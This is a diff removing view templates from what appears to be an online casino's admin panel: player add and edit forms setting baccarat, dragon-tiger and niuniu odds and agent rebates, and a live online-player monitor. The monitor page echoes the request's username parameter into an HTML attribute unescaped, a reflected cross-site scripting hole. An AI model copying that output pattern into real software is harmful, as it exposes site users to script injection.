<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_dt" name="price_tie_dt" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛7-牛9赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_n7_n9" name="price_n7_n9" type="text" value="2" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛牛赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_nn" name="price_nn" type="text" value="3" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押五公赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_5n" name="price_5n" type="text" value="5" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押四条赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_bomb" name="price_bomb" type="text" value="4.85" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">日赢上限:</label>
|
||||
<div class="controls">
|
||||
<input id="win_limit" name="win_limit" type="text" value="0" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
|
||||
<font color="red"> * 默认0则为没有限制</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
|
||||
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/index';
|
||||
if(id == "2") location.href = '/player/player_add';
|
||||
});
|
||||
|
||||
|
||||
//监听提交
|
||||
|
||||
$('.submit').click( function(){
|
||||
// 获取和拼装添加代理的数据
|
||||
var limit_checkout = new Array();
|
||||
var query = new Object();
|
||||
query.parent_agent_id = $('#parent_agent').val();
|
||||
query.username = $('#L_username').val();
|
||||
query.nickname = $('#L_nickname').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.mobile = $('#L_mobile').val();
|
||||
query.email = $('#L_email').val();
|
||||
query.ximalv = $('#L_ximalv').val();
|
||||
query.ximalv_dt = $('#L_ximalv_dt').val();
|
||||
query.cs = $('#L_cs').val();
|
||||
query.bet_type = $('#L_bet_type').val();
|
||||
query.limit_low = $('#limit_low').val();
|
||||
query.limit_high = $('#limit_high').val();
|
||||
query.price_banker = $('#price_banker').val();
|
||||
query.price_player = $('#price_player').val();
|
||||
query.price_tie_baccarat = $('#price_tie_baccarat').val();
|
||||
query.price_pair = $('#price_pair').val();
|
||||
query.price_dragon = $('#price_dragon').val();
|
||||
query.price_tiger = $('#price_tiger').val();
|
||||
query.price_tie_dt = $('#price_tie_dt').val();
|
||||
query.price_n7_n9 = $('#price_n7_n9').val();
|
||||
query.price_nn = $('#price_nn').val();
|
||||
query.price_5n = $('#price_5n').val();
|
||||
query.price_bomb = $('#price_bomb').val();
|
||||
query.win_limit = $('#win_limit').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.username.length == 0){
|
||||
layer.alert("请填写账号!");
|
||||
return false;
|
||||
}
|
||||
if(query.nickname.length == 0){
|
||||
layer.alert("请填写昵称!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length <= 0){
|
||||
layer.alert("请填写密码!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length > 0 && query.pass.length < 6){
|
||||
layer.alert("密码长度为6到16个字符!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass != query.repass){
|
||||
layer.alert("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv >= 100){
|
||||
layer.alert("洗码率最高不能超过100%!");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv_dt >= 100){
|
||||
layer.alert("洗码率最高不能超过100%!");
|
||||
return false;
|
||||
}
|
||||
if(query.cs > 100){
|
||||
layer.alert("占成最高不能超过100%!");
|
||||
return false;
|
||||
}
|
||||
if(query.bet_type <= 0){
|
||||
layer.alert("请选择投注方式");
|
||||
return false;
|
||||
}
|
||||
if(query.price_banker <= 0){
|
||||
layer.alert("押庄赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_player <= 0){
|
||||
layer.alert("押闲赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_baccarat <= 0){
|
||||
layer.alert("押和(百家乐)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_pair <= 0){
|
||||
layer.alert("押对子赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_dragon <= 0){
|
||||
layer.alert("押龙赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tiger <= 0){
|
||||
layer.alert("押虎赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_dt <= 0){
|
||||
layer.alert("押和(龙虎斗)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_n7_n9 <= 0){
|
||||
layer.alert("押牛7-牛9赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_nn <= 0){
|
||||
layer.alert("押牛牛赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_5n <= 0){
|
||||
layer.alert("押五公赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_bomb <= 0){
|
||||
layer.alert("押四条赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.win_limit.length <= 0){
|
||||
layer.alert("日赢上限不能为空");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/player/do_player_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/player/index";
|
||||
});
|
||||
}else{
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -1,389 +0,0 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">代理列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">玩家修改</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">上级代理:</label>
|
||||
<div class="controls">
|
||||
<input id="L_parent_agent" name="L_parent_agent" type="text" value="{$parent_agent.username}" maxlength="50" minlength="3" class="required" readonly>
|
||||
<span class="help-inline">
|
||||
<font color="red"> </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value="{$player.username}" readonly maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">昵称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_nickname" name="L_nickname" type="text" value="{$player.nickname}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 不填密码默认不修改</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 不填密码默认不修改</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">手机号码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_mobile" name="L_mobile" type="text" value="{$player.mobile}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">邮箱:</label>
|
||||
<div class="controls">
|
||||
<input id="L_email" name="L_email" type="text" value="{$player.email}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">百家乐码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv" name="L_ximalv" type="text" value="{$player.agent_ximalv}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 洗码率不能超过{$parent_agent.agent_ximalv}%</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">龙虎码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="{$player.agent_ximalv_dt}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 洗码率不能超过{$parent_agent.agent_ximalv_dt}%</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">占成(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_cs" name="L_cs" type="text" value="{$player.agent_cs}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 洗码率不能超过{$parent_agent.agent_cs}%</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low" name="limit_low" type="text" maxlength="10" class="required" value="{$player.limit_low}"><span class="help-inline">
|
||||
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high" name="limit_high" type="text" maxlength="10" class="required" value="{$player.limit_high}"><span class="help-inline">
|
||||
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">投注方式:</label>
|
||||
<div class="controls">
|
||||
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
|
||||
<option value="0">请选择投注方式</option>
|
||||
<option value="1" <?php if($player['bet_type'] == 1) {echo 'selected';} ?>>网络投注</option>
|
||||
<option value="2" <?php if($player['bet_type'] == 2) {echo 'selected';} ?>>电话投注</option>
|
||||
<option value="3" <?php if($player['bet_type'] == 3) {echo 'selected';} ?>>所有投注</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押庄赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_banker" name="price_banker" type="text" value="{$player.price_banker}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押闲赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_player" name="price_player" type="text" value="{$player.price_player}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="{$player.price_tie_baccarat}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押对子赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_pair" name="price_pair" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押龙赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_dragon" name="price_dragon" type="text" value="{$player.price_dragon}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押虎赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tiger" name="price_tiger" type="text" value="{$player.price_tiger}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_dt" name="price_tie_dt" type="text" value="{$player.price_tie_dt}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛7-牛9赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_n7_n9" name="price_n7_n9" type="text" value="{$player.price_n7_n9}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛牛赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_nn" name="price_nn" type="text" value="{$player.price_nn}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押五公赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_5n" name="price_5n" type="text" value="{$player.price_5n}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押四条赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_bomb" name="price_bomb" type="text" value="{$player.price_bomb}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">日赢上限:</label>
|
||||
<div class="controls">
|
||||
<input id="win_limit" name="win_limit" type="text" value="{$player.win_limit}" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
|
||||
<font color="red"> * 默认0则为没有限制</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="player-id" value="{$player.id}">
|
||||
<input type="hidden" id="parent-ximalv" value="{$parent_agent.agent_ximalv}">
|
||||
<input type="hidden" id="parent-ximalv-dt" value="{$parent_agent.agent_ximalv_dt}">
|
||||
<input type="hidden" id="parent-cs" value="{$parent_agent.agent_cs}">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/index';
|
||||
if(id == "2") location.href = '/player/player_edit';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function () {
|
||||
|
||||
// 获取和拼装添加代理的数据
|
||||
var limit_checkout = new Array();
|
||||
var query = new Object();
|
||||
query.player_id = $('#player-id').val();
|
||||
query.username = $('#L_username').val();
|
||||
query.nickname = $('#L_nickname').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.mobile = $('#L_mobile').val();
|
||||
query.email = $('#L_email').val();
|
||||
query.ximalv = $('#L_ximalv').val();
|
||||
query.ximalv_dt = $('#L_ximalv_dt').val();
|
||||
query.cs = $('#L_cs').val();
|
||||
query.bet_type = $('#L_bet_type').val();
|
||||
var parent_ximalv = $('#parent-ximalv').val();
|
||||
var parent_ximalv_dt = $('#parent-ximalv-dt').val();
|
||||
var parent_cs = $('#parent-cs').val();
|
||||
query.limit_low = $('#limit_low').val();
|
||||
query.limit_high = $('#limit_high').val();
|
||||
query.price_banker = $('#price_banker').val();
|
||||
query.price_player = $('#price_player').val();
|
||||
query.price_tie_baccarat = $('#price_tie_baccarat').val();
|
||||
query.price_pair = $('#price_pair').val();
|
||||
query.price_dragon = $('#price_dragon').val();
|
||||
query.price_tiger = $('#price_tiger').val();
|
||||
query.price_tie_dt = $('#price_tie_dt').val();
|
||||
query.price_n7_n9 = $('#price_n7_n9').val();
|
||||
query.price_nn = $('#price_nn').val();
|
||||
query.price_5n = $('#price_5n').val();
|
||||
query.price_bomb = $('#price_bomb').val();
|
||||
query.win_limit = $('#win_limit').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.pass.length > 0){
|
||||
if(query.pass.length >= 6){
|
||||
if(query.pass != query.repass){
|
||||
layer.msg("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
}else{
|
||||
layer.msg("密码不能少于6位字符!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(parseFloat(query.ximalv) > parseFloat(parent_ximalv) || parseFloat(query.ximalv_dt) > parseFloat(parent_ximalv_dt)){
|
||||
layer.msg("码率不能超过父级码率");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.cs) > parseFloat(parent_cs)){
|
||||
layer.msg("占成不能超过父级占成");
|
||||
return false;
|
||||
}
|
||||
if(query.bet_type <= 0){
|
||||
layer.alert("请选择投注方式");
|
||||
return false;
|
||||
}
|
||||
if(query.price_banker <= 0){
|
||||
layer.alert("押庄赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_player <= 0){
|
||||
layer.alert("押闲赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_baccarat <= 0){
|
||||
layer.alert("押和(百家乐)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_dragon <= 0){
|
||||
layer.alert("押龙赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tiger <= 0){
|
||||
layer.alert("押虎赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_dt <= 0){
|
||||
layer.alert("押和(龙虎斗)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_n7_n9 <= 0){
|
||||
layer.alert("押牛7-牛9赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_nn <= 0){
|
||||
layer.alert("押牛牛赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_5n <= 0){
|
||||
layer.alert("押五公赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_bomb <= 0){
|
||||
layer.alert("押四条赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.win_limit.length <= 0){
|
||||
layer.alert("日赢上限不能为空");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/player/do_player_edit',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = '/player/index';
|
||||
});
|
||||
}else{
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -1,250 +0,0 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:80px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:150px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert .alert-main{width:600px;height:200px;overflow-y: scroll;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.alert-main th{width:40%; border-left:none; text-align:right;}
|
||||
.alert-main td{border-right:none; }
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
|
||||
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">实时数据</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/player/user_online" method="get">
|
||||
<div class="layui-input-block" >
|
||||
<select name="table_id" id="table_id">
|
||||
<option value="-1" selected>请选择桌子</option>
|
||||
{foreach name="$table_list" item="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<div class="layui-form-item" style="margin-bottom: 0px;">
|
||||
<label class="layui-form-label">只看未开</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="radio" class="is_under" name="is_under" value="1" title="是" <?php if(isset($get['is_under']) && $get['is_under'] == 1) {echo 'checked';} ?>>
|
||||
<input type="radio" class="is_under" name="is_under" value="0" title="否" <?php if(isset($get['is_under']) && $get['is_under'] == 0) {echo 'checked';} ?>>
|
||||
</div>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
|
||||
<!-- <span class="layui-btn" id="export">导出excel</span>
|
||||
<span class="layui-btn" id="print">打印</span> -->
|
||||
<span style="margin-left:20px;color:red;">数据标红则疑似对打</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>账号</th>
|
||||
<th>登录客户端</th>
|
||||
<th>登录IP</th>
|
||||
<th>总押</th>
|
||||
<th>总赢</th>
|
||||
<th>当前余额</th>
|
||||
<th>下注详情</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody class="ttable">
|
||||
{foreach name="$user_online" item="vo"}
|
||||
{if $vo.is_beat == 1}
|
||||
<tr class="refreshData" style="background:red;">
|
||||
{else}
|
||||
<tr class="refreshData">
|
||||
{/if}
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.client}</td>
|
||||
<td>{$vo.last_login_ip}</td>
|
||||
<td>{$vo.amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>
|
||||
{$vo.bet_detail_first.bet_detail}
|
||||
{if condition="$vo.bet_detail_count > 1"}
|
||||
<a href="javascript:;" onclick="showBetDetail(this)" data-username="{$vo.username}" data-bet_detail={$vo.bet_detail}><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">更多</span></a>
|
||||
{/if}
|
||||
</td>
|
||||
<td>
|
||||
<a href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" onclick="logout({$vo.user_id})">强制下线</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
<tr class="refreshData">
|
||||
<th colspan="3" style="text-align: center;">统计</th>
|
||||
<th>{$totalData.amount}</th>
|
||||
<th>{$totalData.win_total}</th>
|
||||
<th colspan="3"></th>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<audio id="audio" hidden></audio>
|
||||
<div class="alert" id="alert_bet_detail">
|
||||
<div class="alert-title" id="show_username"></div>
|
||||
<div class="alert-main">
|
||||
<table class="layui-table" style="margin:0;">
|
||||
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
|
||||
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
|
||||
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
|
||||
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
|
||||
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
|
||||
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
|
||||
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
|
||||
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
|
||||
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
|
||||
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
|
||||
<tr><th>押四条赔率:</th><td id="show_price_bomb"></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
